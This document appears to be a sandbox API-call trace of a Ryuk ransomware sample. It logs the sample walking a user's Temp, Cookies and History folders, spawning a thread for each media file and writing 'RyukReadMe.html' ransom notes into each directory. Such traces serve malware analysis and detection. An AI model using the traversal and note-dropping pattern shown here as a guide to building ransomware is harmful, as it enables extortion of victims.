	[0253.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0253.289] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.289] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0ea1050, ftCreationTime.dwHighDateTime=0x1d5c1c9, ftLastAccessTime.dwLowDateTime=0x65677190, ftLastAccessTime.dwHighDateTime=0x1d5b9cd, ftLastWriteTime.dwLowDateTime=0x65677190, ftLastWriteTime.dwHighDateTime=0x1d5b9cd, nFileSizeHigh=0x0, nFileSizeLow=0x2a72, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="cN7DcCnDgk9.gif", cAlternateFileName="CN7DCC~1.GIF")) returned 1
	[0253.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0253.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668
	[0253.292] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.293] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0253.293] SetLastError (dwErrCode=0x0) 
	[0253.293] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x658
	[0253.970] GetLastError () returned 0xb7
	[0253.970] CloseHandle (hObject=0x658) returned 1
	[0253.970] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0255.386] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0255.386] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0255.386] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0255.389] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.389] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0255.390] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0255.390] SetLastError (dwErrCode=0x0) 
	[0255.390] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674
	[0255.391] GetLastError () returned 0x0
	[0255.391] WriteFile (in: hFile=0x674, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0255.393] CloseHandle (hObject=0x674) returned 1
	[0255.413] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x889a5c30, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xd9e5b1f0, ftLastAccessTime.dwHighDateTime=0x1d5c119, ftLastWriteTime.dwLowDateTime=0xd9e5b1f0, ftLastWriteTime.dwHighDateTime=0x1d5c119, nFileSizeHigh=0x0, nFileSizeLow=0x14e10, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="cWKgRNKb-nRhISbFb.odp", cAlternateFileName="CWKGRN~1.ODP")) returned 1
	[0255.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0255.416] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.416] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15852070, ftCreationTime.dwHighDateTime=0x1d5c286, ftLastAccessTime.dwLowDateTime=0x59838c40, ftLastAccessTime.dwHighDateTime=0x1d5bf06, ftLastWriteTime.dwLowDateTime=0x59838c40, ftLastWriteTime.dwHighDateTime=0x1d5bf06, nFileSizeHigh=0x0, nFileSizeLow=0x2e96, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="dMinn1FcJBx.png", cAlternateFileName="DMINN1~1.PNG")) returned 1
	[0255.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0255.571] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.572] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x461becb0, ftCreationTime.dwHighDateTime=0x1d5c14f, ftLastAccessTime.dwLowDateTime=0x99f1c130, ftLastAccessTime.dwHighDateTime=0x1d5bc9e, ftLastWriteTime.dwLowDateTime=0x99f1c130, ftLastWriteTime.dwHighDateTime=0x1d5bc9e, nFileSizeHigh=0x0, nFileSizeLow=0xf83e, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="exePZrJ2UyzVaEc7nPX.wav", cAlternateFileName="EXEPZR~1.WAV")) returned 1
	[0255.572] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0255.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
	[0255.574] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.575] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b59a6b0, ftCreationTime.dwHighDateTime=0x1d5bbe3, ftLastAccessTime.dwLowDateTime=0x5fb1c190, ftLastAccessTime.dwHighDateTime=0x1d5c307, ftLastWriteTime.dwLowDateTime=0x5fb1c190, ftLastWriteTime.dwHighDateTime=0x1d5c307, nFileSizeHigh=0x0, nFileSizeLow=0x18ea6, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="H3Njx34uqpIif.flv", cAlternateFileName="H3NJX3~1.FLV")) returned 1
	[0255.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0255.577] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.578] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0255.578] SetLastError (dwErrCode=0x0) 
	[0255.578] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0255.579] GetLastError () returned 0xb7
	[0255.579] CloseHandle (hObject=0x680) returned 1
	[0255.579] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0255.581] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0255.581] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0255.581] SetLastError (dwErrCode=0x0) 
	[0255.581] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698
	[0255.582] GetLastError () returned 0x0
	[0255.582] WriteFile (in: hFile=0x698, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0255.584] CloseHandle (hObject=0x698) returned 1
	[0255.584] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0255.584] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0255.585] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0255.585] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0255.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0255.586] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.587] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0255.587] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0255.587] SetLastError (dwErrCode=0x0) 
	[0255.587] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.587] GetLastError () returned 0x3
	[0255.587] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0255.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.588] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0
	[0255.588] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0255.588] SetLastError (dwErrCode=0x0) 
	[0255.588] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680
	[0255.588] GetLastError () returned 0xb7
	[0255.588] CloseHandle (hObject=0x680) returned 1
	[0255.588] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a8e1660, ftCreationTime.dwHighDateTime=0x1d5bb40, ftLastAccessTime.dwLowDateTime=0xd3481710, ftLastAccessTime.dwHighDateTime=0x1d5b9f9, ftLastWriteTime.dwLowDateTime=0xd3481710, ftLastWriteTime.dwHighDateTime=0x1d5b9f9, nFileSizeHigh=0x0, nFileSizeLow=0xb71e, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="jEbUyuJue3PUfdTXjk.gif", cAlternateFileName="JEBUYU~1.GIF")) returned 1
	[0255.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0255.591] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.592] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x996e3ca0, ftCreationTime.dwHighDateTime=0x1d5bffc, ftLastAccessTime.dwLowDateTime=0xad03e4c0, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0xad03e4c0, ftLastWriteTime.dwHighDateTime=0x1d5bab8, nFileSizeHigh=0x0, nFileSizeLow=0x2b16, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="jSvf1m3yElMB-Sbu17bn.mp4", cAlternateFileName="JSVF1M~1.MP4")) returned 1
	[0255.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0255.594] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.595] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefb798f0, ftCreationTime.dwHighDateTime=0x1d5bc9a, ftLastAccessTime.dwLowDateTime=0x1c6cf870, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0x1c6cf870, ftLastWriteTime.dwHighDateTime=0x1d5bab8, nFileSizeHigh=0x0, nFileSizeLow=0x17cec, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="KsZxIV-1Om7TALU.jpg", cAlternateFileName="KSZXIV~1.JPG")) returned 1
	[0255.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0255.596] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.597] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c7e8cc0, ftCreationTime.dwHighDateTime=0x1d5ba10, ftLastAccessTime.dwLowDateTime=0xfb6f5450, ftLastAccessTime.dwHighDateTime=0x1d5c2c9, ftLastWriteTime.dwLowDateTime=0xfb6f5450, ftLastWriteTime.dwHighDateTime=0x1d5c2c9, nFileSizeHigh=0x0, nFileSizeLow=0xb02, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="lqxKQ3ka3.mp3", cAlternateFileName="LQXKQ3~1.MP3")) returned 1
	[0255.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0255.600] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.601] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7df41a0, ftCreationTime.dwHighDateTime=0x1d5c4c4, ftLastAccessTime.dwLowDateTime=0xe89c1fc0, ftLastAccessTime.dwHighDateTime=0x1d5b720, ftLastWriteTime.dwLowDateTime=0xe89c1fc0, ftLastWriteTime.dwHighDateTime=0x1d5b720, nFileSizeHigh=0x0, nFileSizeLow=0x586a, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="LYl8hL0zcGiP.flv", cAlternateFileName="LYL8HL~1.FLV")) returned 1
	[0255.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0255.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0255.602] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
